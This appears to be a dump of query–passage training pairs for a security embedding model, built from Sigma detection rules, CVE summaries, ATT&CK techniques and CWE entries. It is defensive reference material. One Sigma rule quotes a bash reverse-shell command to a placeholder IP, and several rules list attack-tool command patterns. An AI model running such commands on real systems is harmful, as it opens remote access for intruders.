alirezaaminzadeh/secembed-pairs huggingface dataset:
Query: write Sigma for Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.
Matching passage: Sigma rule: Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.. Logsource: linux / network_connection. Rule: title: Linux Reverse Shell Indicator id: 83dcd9f6-9ca8-4af7-a16e-a1c7a6b51871 status: test description: Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1') references: - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/d9921e370b7c668ee8cc42d09b1932c1b98fa9dc/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md author: Florian Roth (Nextron Systems) date: 2021-10-16 modified: 2022-12-25 tags: - attack.execution - attack.t1059.004 logsource: product: linux category: network_connection detection: selection: Image|endswith: /bin/bash filter: DestinationIp: - 127.0.0.1 - 0.0.0.0 condition: selection and not filter falsepositives: - Unknown level: critical
Near-miss passage: Sigma rule: Detects Windows command lines that miss a space before or after the /c flag when running a command using the cmd.exe. Th. Logsource: windows / process_creation. Rule: title: Cmd.EXE Missing Space Characters Execution Anomaly id: a16980c2-0c56-4de0-9a79-17971979efdd status: test description: 'Detects Windows command lines that miss a space before or after the /c flag when running a command using the cmd.exe. This could be a sign of obfuscation of a fat finger problem (typo by the developer). ' references: - https://twitter.com/cyb3rops/status/1562072617552678912 - https://ss64.com/nt/cmd.html author: Florian Roth (Nextron Systems) date: 2022-08-23 modified: 2026-05-13 tags: - attack.execution - attack.t1059.001 logsource: category: process_creation product: windows detection: selection1: CommandLine|contains: - cmd.exe/c - \cmd/c - '"cmd/c' - cmd.exe/k - \cmd/k - '"cmd/k' - cmd.exe/r - \cmd/r - '"cmd/r' selection2: CommandLine|contains: - /cwhoami - /cpowershell - /cschtasks - /cbitsadmin - /ccertutil - /kwhoami - /kpowershell - /kschtasks - /kbitsadmin - /kcertutil selection3: CommandLine|contains: - cmd.exe /c - cmd /c - cmd.exe /k - cmd /k - cmd.exe /r - cmd /r filter_generic: CommandLine|contains: - 'cmd.exe /c ' - 'cmd /c ' - 'cmd.exe /k ' - 'cmd /k ' - 'cmd.exe /r ' - 'cmd /r ' filter_fp: - CommandLine|contains: AppData\Local\Programs\Microsoft VS Code\resources\app\node_modules - CommandLine|endswith: cmd.exe/c . - CommandLine: cmd.exe /c - CommandLine: cmd /c condition: 1 of selection* and not 1 of filter_* falsepositives: - Legitimate use of cmd.exe with no arguments e.g. via system("") in C to enable ANSI escape codes level: high
Query: exploit Unspecified vulnerability in Oracle MySQL Server 5.5.38 and earlier, and 5.6.19 and earlier, allows remote authenticated users to affect availability via vectors related to DDL.
Matching passage: CVE-2015-0391. CWE: UNKNOWN. CVSS: 4.0. Unspecified vulnerability in Oracle MySQL Server 5.5.38 and earlier, and 5.6.19 and earlier, allows remote authenticated users to affect availability via vectors related to DDL.
Near-miss passage: CVE-2015-2612. CWE: UNKNOWN. CVSS: 4.300000190734863. Unspecified vulnerability in the Siebel Core - Server OM Svcs component in Oracle Siebel CRM 8.1.1, 8.2.2, and 15.0 allows remote attackers to affect confidentiality via vectors related to LDAP Security Adapter.
Query: vulnerability: Microsoft Internet Explorer 9 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Internet Explorer Memo
Matching passage: CVE-2015-0048. CWE: CWE-399. CVSS: 9.300000190734863. Microsoft Internet Explorer 9 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Internet Explorer Memory Corruption Vulnerability," a different vulnerability than CVE-2015-0028.
Near-miss passage: CVE-2015-1742. CWE: CWE-399. CVSS: 9.300000190734863. Microsoft Internet Explorer 11 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Internet Explorer Memory Corruption Vulnerability," a different vulnerability than CVE-2015-1732, CVE-2015-1747, CVE-2015-1750, and CVE-2015-1753.
Query: Sigma YAML for linux / process_creation
Matching passage: Sigma rule: Detects execution of TruffleHog, a tool used to search for secrets in different platforms like Git, Jira, Slack, SharePo. Logsource: linux / process_creation. Rule: title: PUA - TruffleHog Execution - Linux id: d7a650c4-226c-451e-948f-cc490db506aa related: - id: 44030449-b0df-4c94-aae1-502359ab28ee type: similar status: experimental description: 'Detects execution of TruffleHog, a tool used to search for secrets in different platforms like Git, Jira, Slack, SharePoint, etc. that could be used maliciously. While it is a legitimate tool, intended for use in CI pipelines and security assessments, It was observed in the Shai-Hulud malware campaign targeting npm packages to steal sensitive information. ' references: - https://github.com/trufflesecurity/trufflehog - https://www.getsafety.com/blog-posts/shai-hulud-npm-attack author: Swachchhanda Shrawan Poudel (Nextron Systems) date: 2025-09-24 tags: - attack.discovery - attack.credential-access - attack.t1083 - attack.t1552.001 logsource: category: process_creation product: linux detection: selection_img: Image|endswith: /trufflehog selection_cli_platform: CommandLine|contains: - ' docker --image ' - ' Git ' - ' GitHub ' - ' Jira ' - ' Slack ' - ' Confluence ' - ' SharePoint ' - ' s3 ' - ' gcs ' selection_cli_verified: CommandLine|contains: ' --results=verified' condition: selection_img or all of selection_cli_* falsepositives: - Legitimate use of TruffleHog by security teams or developers. level: medium
Near-miss passage: Sigma rule: Detects execution of ntdsutil.exe to perform different actions such as restoring snapshots...etc.. Logsource: windows / process_creation. Rule: title: Suspicious Usage Of Active Directory Diagnostic Tool (ntdsutil.exe) id: a58353df-af43-4753-bad0-cd83ef35eef5 related: - id: 2afafd61-6aae-4df4-baed-139fa1f4c345 type: derived status: test description: Detects execution of ntdsutil.exe to perform different actions such as restoring snapshots...etc. references: - https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731620(v=ws.11) - https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-asia-governments author: Nasreddine Bencherchali (Nextron Systems) date: 2022-09-14 tags: - attack.credential-access - attack.t1003.003 logsource: category: process_creation product: windows detection: selection_img: - Image|endswith: \ntdsutil.exe - OriginalFileName: ntdsutil.exe selection_cli: - CommandLine|contains|all: - snapshot - 'mount ' - CommandLine|contains|all: - ac - ' i' - ' ntds' condition: all of selection_* falsepositives: - Legitimate usage to restore snapshots - Legitimate admin activity level: medium
Query: detection rule: Detects usage of wsudo (Windows Sudo Utility). Which is a tool that let the user execute programs with different permiss
Matching passage: Sigma rule: Detects usage of wsudo (Windows Sudo Utility). Which is a tool that let the user execute programs with different permiss. Logsource: windows / process_creation. Rule: title: PUA - Wsudo Suspicious Execution id: bdeeabc9-ff2a-4a51-be59-bb253aac7891 status: test description: Detects usage of wsudo (Windows Sudo Utility). Which is a tool that let the user execute programs with different permissions (System, Trusted Installer, Administrator...etc) references: - https://github.com/M2Team/Privexec/ author: Nasreddine Bencherchali (Nextron Systems) date: 2022-12-02 modified: 2023-02-14 tags: - attack.execution - attack.privilege-escalation - attack.t1059 logsource: category: process_creation product: windows detection: selection_metadata: - Image|endswith: \wsudo.exe - OriginalFileName: wsudo.exe - Description: Windows sudo utility - ParentImage|endswith: \wsudo-bridge.exe selection_cli: CommandLine|contains: - -u System - -uSystem - -u TrustedInstaller - -uTrustedInstaller - ' --ti ' condition: 1 of selection_* falsepositives: - Unknown level: high
Near-miss passage: Sigma rule: Detects possible execution via LNK file accessed on a WebDAV server.. Logsource: windows / process_creation. Rule: title: Potentially Suspicious WebDAV LNK Execution id: 1412aa78-a24c-4abd-83df-767dfb2c5bbe related: - id: f0507c0f-a3a2-40f5-acc6-7f543c334993 type: similar status: test description: Detects possible execution via LNK file accessed on a WebDAV server. references: - https://www.trellix.com/en-us/about/newsroom/stories/research/beyond-file-search-a-novel-method.html - https://micahbabinski.medium.com/search-ms-webdav-and-chill-99c5b23ac462 author: Micah Babinski date: 2023-08-21 tags: - attack.execution - attack.t1059.001 - attack.t1204 logsource: category: process_creation product: windows detection: selection: ParentImage|endswith: \explorer.exe Image|endswith: - \cmd.exe - \cscript.exe - \mshta.exe - \powershell.exe - \pwsh.exe - \wscript.exe CommandLine|contains: \DavWWWRoot\ condition: selection falsepositives: - Unknown level: medium
Query: exploit Cross-site scripting (XSS) vulnerability in Ember.js 1.10.x before 1.10.1 and 1.11.x before 1.11.2.
Matching passage: CVE-2015-1866. CWE: CWE-79. CVSS: 6.099999904632568. Cross-site scripting (XSS) vulnerability in Ember.js 1.10.x before 1.10.1 and 1.11.x before 1.11.2.
Near-miss passage: CVE-2015-9349. CWE: CWE-79. CVSS: 6.099999904632568. The ckeditor-for-wordpress plugin before 4.5.3.1 for WordPress has reflected XSS in the "built-in (old)" file browser.
Query: what is T1001.003
Matching passage: T1001.003 Protocol or Service Impersonation. Tactics: command and control. Description: Adversaries may impersonate legitimate protocols or web service traffic to disguise command and control activity and thwart analysis efforts. By impersonating legitimate protocols or web services, adversaries can make their command and control traffic blend in with legitimate network traffic. Adversaries may impersonate a fake SSL/TLS handshake to make it look like subsequent traffic is SSL/TLS encrypted, potentially interfering with some security tooling, or to make the traffic look like it is related with a trusted entity. Adversaries may also leverage legitimate protocols to impersonate expected web traffic or trusted services. For example, adversaries may manipulate HTTP headers, URI endpoints, SSL certificates, and transmitted data to disguise C2 communications or mimic legitimate services such as Gmail, Google Drive, and Yahoo Messenger.(Citation: ESET Okrum July 2019)(Citation: Malleable-C2-U42)
Near-miss passage: T1001.001 Junk Data. Tactics: command and control. Description: Adversaries may add junk data to protocols used for command and control to make detection more difficult.(Citation: FireEye SUNBURST Backdoor December 2020) By adding random or meaningless data to the protocols used for command and control, adversaries can prevent trivial methods for decoding, deciphering, or otherwise analyzing the traffic. Examples may include appending/prepending data with junk characters or writing junk characters between significant characters.
Query: common weakness: Source Code File with Excessive Number of Lines of Code
Matching passage: CWE-1080 Source Code File with Excessive Number of Lines of Code. A source code file has too many lines of code.
Near-miss passage: CWE-337 Predictable Seed in Pseudo-Random Number Generator (PRNG). A Pseudo-Random Number Generator (PRNG) is initialized from a predictable seed, such as the process ID or system time.
Query: CWE for Improper Export of Android Application Components
Matching passage: CWE-926 Improper Export of Android Application Components. The Android application exports a component for use by other applications, but does not properly restrict which applications can launch the component or access the data it contains.
Near-miss passage: CWE-243 Creation of chroot Jail Without Changing Working Directory. The product uses the chroot() system call to create a jail, but does not change the working directory afterward. This does not prevent access to files outside of the jail.
Query: secure coding against Incorrect Behavior Order: Early Validation
Matching passage: CWE-179 Incorrect Behavior Order: Early Validation. The product validates input before applying protection mechanisms that modify the input, which could allow an attacker to bypass the validation via dangerous inputs that only arise after the modification.
Near-miss passage: CWE-117 Improper Output Neutralization for Logs. The product constructs a log message from external input, but it does not neutralize or incorrectly neutralizes special elements when the message is written to a log file.
Query: describe CVE-2015-4183
Matching passage: CVE-2015-4183. CWE: CWE-78. CVSS: 7.199999809265137. Cisco UCS Central Software 1.2(1a) allows local users to gain privileges for OS command execution via a crafted CLI parameter, aka Bug ID CSCut32795.
Near-miss passage: CVE-2015-2201. CWE: CWE-78. CVSS: 7.199999809265137. Aruba AirWave before 7.7.14.2 and 8.x before 8.0.7 allows VisualRF remote OS command execution and file disclosure by administrative users.
Query: risk of Unspecified vulnerability in the Oracle Outside In Technology component in Oracle Fusion Middleware 8.5.0, 8.5.1, and 8.5.2 allows local users to affect availability via unknown ve
Matching passage: CVE-2015-6014. CWE: UNKNOWN. CVSS: 10.0. Unspecified vulnerability in the Oracle Outside In Technology component in Oracle Fusion Middleware 8.5.0, 8.5.1, and 8.5.2 allows local users to affect availability via unknown vectors related to Outside In Filters, a different vulnerability than CVE-2015-4808, CVE-2015-6013, CVE-2015-6015, and CVE-2016-0432. NOTE: the previous information is from the January 2016 CPU. Oracle has not commented on third-party claims that this issue is a stack-based buffer overflow in Oracle Outside In 8.5.2 and earlier, which allows remote attackers to execute arbitrary code via a crafted DOC file.
Near-miss passage: CVE-2015-6538. CWE: UNKNOWN. CVSS: 9.800000190734863. The login page in Epiphany Cardio Server 3.3, 4.0, and 4.1 mishandles authentication requests, which allows remote attackers to conduct LDAP injection attacks, and consequently bypass intended access restrictions, via a crafted URL.
Query: risk of edx-platform before 2015-08-17 allows XSS in the Studio listing of courses.
Matching passage: CVE-2015-6253. CWE: CWE-79. CVSS: 5.400000095367432. edx-platform before 2015-08-17 allows XSS in the Studio listing of courses.
Near-miss passage: CVE-2015-5622. CWE: CWE-79. CVSS: 3.5. Cross-site scripting (XSS) vulnerability in WordPress before 4.2.3 allows remote authenticated users to inject arbitrary web script or HTML by leveraging the Author or Contributor role to place a crafted shortcode inside an HTML element, related to wp-includes/kses.php and wp-includes/shortcodes.php.
Query: vulnerability: Integer overflow in the _zip_cdir_new function in zip_dirent.c in libzip 0.11.2 and earlier, as used in the ZIP extension in PHP before 5.4.39, 5.5.x before 5.5.23, and 5.6.x befor
Matching passage: CVE-2015-2331. CWE: CWE-189. CVSS: 7.5. Integer overflow in the _zip_cdir_new function in zip_dirent.c in libzip 0.11.2 and earlier, as used in the ZIP extension in PHP before 5.4.39, 5.5.x before 5.5.23, and 5.6.x before 5.6.7 and other products, allows remote attackers to cause a denial of service (application crash) or possibly execute arbitrary code via a ZIP archive that contains many entries, leading to a heap-based buffer overflow.
Near-miss passage: CVE-2015-4491. CWE: CWE-189. CVSS: 6.800000190734863. Integer overflow in the make_filter_table function in pixops/pixops.c in gdk-pixbuf before 2.31.5, as used in Mozilla Firefox before 40.0 and Firefox ESR 38.x before 38.2 on Linux, Google Chrome on Linux, and other products, allows remote attackers to execute arbitrary code or cause a denial of service (heap-based buffer overflow and application crash) via crafted bitmap dimensions that are mishandled during scaling.
Query: rule covering This rule detects a DHCP server in which a specified Callout DLL (in registry) was loaded
Matching passage: Sigma rule: This rule detects a DHCP server in which a specified Callout DLL (in registry) was loaded. Logsource: windows / system. Rule: title: DHCP Server Loaded the CallOut DLL id: 13fc89a9-971e-4ca6-b9dc-aa53a445bf40 status: test description: This rule detects a DHCP server in which a specified Callout DLL (in registry) was loaded references: - https://blog.3or.de/mimilib-dhcp-server-callout-dll-injection.html - https://technet.microsoft.com/en-us/library/cc726884(v=ws.10).aspx - https://msdn.microsoft.com/de-de/library/windows/desktop/aa363389(v=vs.85).aspx author: Dimitrios Slamaris date: 2017-05-15 modified: 2022-12-25 tags: - attack.privilege-escalation - attack.persistence - attack.execution - attack.stealth - attack.t1574.001 logsource: product: windows service: system detection: selection: EventID: 1033 Provider_Name: Microsoft-Windows-DHCP-Server condition: selection falsepositives: - Unknown level: high
Near-miss passage: Sigma rule: Detects LOLBINs and applications that should not legitimately drop script files to disk. This may indicate malware stagi. Logsource: windows / file_event. Rule: title: Legitimate Application Dropped Script id: 7d604714-e071-49ff-8726-edeb95a70679 status: test description: 'Detects LOLBINs and applications that should not legitimately drop script files to disk. This may indicate malware staging or abuse of a trusted binary for script-based code execution. ' references: - https://github.com/Neo23x0/sysmon-config/blob/3f808d9c022c507aae21a9346afba4a59dd533b9/sysmonconfig-export-block.xml#L1326 - https://dmpdump.github.io/posts/TelegramRat/ - https://www.virustotal.com/gui/file/a0d5b30578acd1df9139e7a8a4bfc659dc2cf48f4dc0c5804b70890adeb9fa21/behavior author: frack113, Florian Roth (Nextron Systems) date: 2022-08-21 modified: 2026-05-11 tags: - attack.stealth - attack.t1218 logsource: product: windows category: file_event detection: selection: Image|endswith: - \eqnedt32.exe - \wordpad.exe - \wordview.exe - \certutil.exe - \certoc.exe - \CertReq.exe - \Desktopimgdownldr.exe - \esentutl.exe - \mshta.exe - \AcroRd32.exe - \RdrCEF.exe - \hh.exe - \finger.exe TargetFilename|endswith: - .bat - .chm - .csproj - .hta - .js - .jse - .proj - .ps1 - .py - .scf - .vbe - .vbs - .wsf - .wsh filter_main_mshta: Image|endswith: \mshta.exe TargetFilename|endswith: .hta condition: selection and not 1 of filter_main_* falsepositives: - Unknown level: high regression_tests_path: regression_data/rules/windows/file/file_event/file_event_win_susp_legitimate_app_dropping_script/info.yml
Query: rule covering Detects when a successful MFA authentication occurs due to the use of a bypass code. A bypass code is a temporary passco
Matching passage: Sigma rule: Detects when a successful MFA authentication occurs due to the use of a bypass code. A bypass code is a temporary passco. Logsource: cisco / duo. Rule: title: Cisco Duo Successful MFA Authentication Via Bypass Code id: 6f7e1c10-2dc9-4312-adb6-9574ff09a5c8 status: test description: 'Detects when a successful MFA authentication occurs due to the use of a bypass code. A bypass code is a temporary passcode created by an administrator for a specific user to access a Duo-protected application. These are generally used as "backup codes," so that enrolled users who are having problems with their mobile devices (e.g., mobile service is disrupted, the device is lost or stolen, etc.) or who temporarily can''t use their enrolled devices (on a plane without mobile data services) can still access their Duo-protected systems. ' references: - https://duo.com/docs/adminapi#logs - https://help.duo.com/s/article/6327?language=en_US author: Nikita Khalimonenkov date: 2024-04-17 tags: - attack.credential-access - attack.initial-access - attack.stealth logsource: product: cisco service: duo detection: selection: event_type: authentication reason: bypass_user condition: selection falsepositives: - Legitimate user that was assigned on purpose to a bypass group level: medium
Near-miss passage: Sigma rule: Detects potential DLL sideloading of "AVKkid.dll". Logsource: windows / image_load. Rule: title: Potential AVKkid.DLL Sideloading id: 952ed57c-8f99-453d-aee0-53a49c22f95d status: test description: Detects potential DLL sideloading of "AVKkid.dll" references: - https://research.checkpoint.com/2023/beyond-the-horizon-traveling-the-world-on-camaro-dragons-usb-flash-drives/ author: X__Junior (Nextron Systems) date: 2023-08-03 tags: - attack.persistence - attack.privilege-escalation - attack.execution - attack.stealth - attack.t1574.001 logsource: category: image_load product: windows detection: selection: ImageLoaded|endswith: \AVKkid.dll filter_main_legit_path: Image|contains: - C:\Program Files (x86)\G DATA\ - C:\Program Files\G DATA\ Image|endswith: \AVKKid.exe ImageLoaded|startswith: - C:\Program Files (x86)\G DATA\ - C:\Program Files\G DATA\ condition: selection and not 1 of filter_main_* falsepositives: - Unknown level: medium
Query: risk of WebKit, as used in Apple iOS before 8.3, Apple TV before 7.2, and Apple Safari before 6.2.5, 7.x before 7.1.5, and 8.x before 8.0.5, allows remote attackers to execute arbitrary co
Matching passage: CVE-2015-1121. CWE: UNKNOWN. CVSS: 6.800000190734863. WebKit, as used in Apple iOS before 8.3, Apple TV before 7.2, and Apple Safari before 6.2.5, 7.x before 7.1.5, and 8.x before 8.0.5, allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted web site, a different vulnerability than other WebKit CVEs listed in APPLE-SA-2015-04-08-1, APPLE-SA-2015-04-08-3, and APPLE-SA-2015-04-08-4.
Near-miss passage: CVE-2015-3227. CWE: UNKNOWN. CVSS: 5.0. The (1) jdom.rb and (2) rexml.rb components in Active Support in Ruby on Rails before 4.1.11 and 4.2.x before 4.2.2, when JDOM or REXML is enabled, allow remote attackers to cause a denial of service (SystemStackError) via a large XML document depth.
Query: exploit Open redirect vulnerability in the Overlay module in Drupal 7.x before 7.41, the jQuery Update module 7.x-2.x before 7.x-2.7 for Drupal, and the LABjs module 7.x-1.x before 7.x-1.8
Matching passage: CVE-2015-7943. CWE: CWE-601. CVSS: 6.099999904632568. Open redirect vulnerability in the Overlay module in Drupal 7.x before 7.41, the jQuery Update module 7.x-2.x before 7.x-2.7 for Drupal, and the LABjs module 7.x-1.x before 7.x-1.8 allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via unspecified vectors. NOTE: this vulnerability exists because of an incomplete fix for CVE-2015-3233.
Near-miss passage: CVE-2015-4668. CWE: CWE-601. CVSS: 6.099999904632568. Open redirect vulnerability in Xsuite 2.4.4.5 and earlier allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL in the redirurl parameter.
Query: risk of Microsoft Internet Explorer 9 through 11 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Internet Ex
Matching passage: CVE-2015-0046. CWE: CWE-399. CVSS: 9.300000190734863. Microsoft Internet Explorer 9 through 11 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Internet Explorer Memory Corruption Vulnerability," a different vulnerability than CVE-2015-0038 and CVE-2015-0042.
Near-miss passage: CVE-2015-6295. CWE: CWE-399. CVSS: 4.800000190734863. Cisco NX-OS 6.1(2)I3(4) and 7.0(3)I1(1) on Nexus 9000 (N9K) devices allows remote attackers to cause a denial of service (CPU consumption or control-plane instability) or trigger unintended traffic forwarding via a Layer 2 packet with a reserved VLAN number, aka Bug ID CSCuw13560.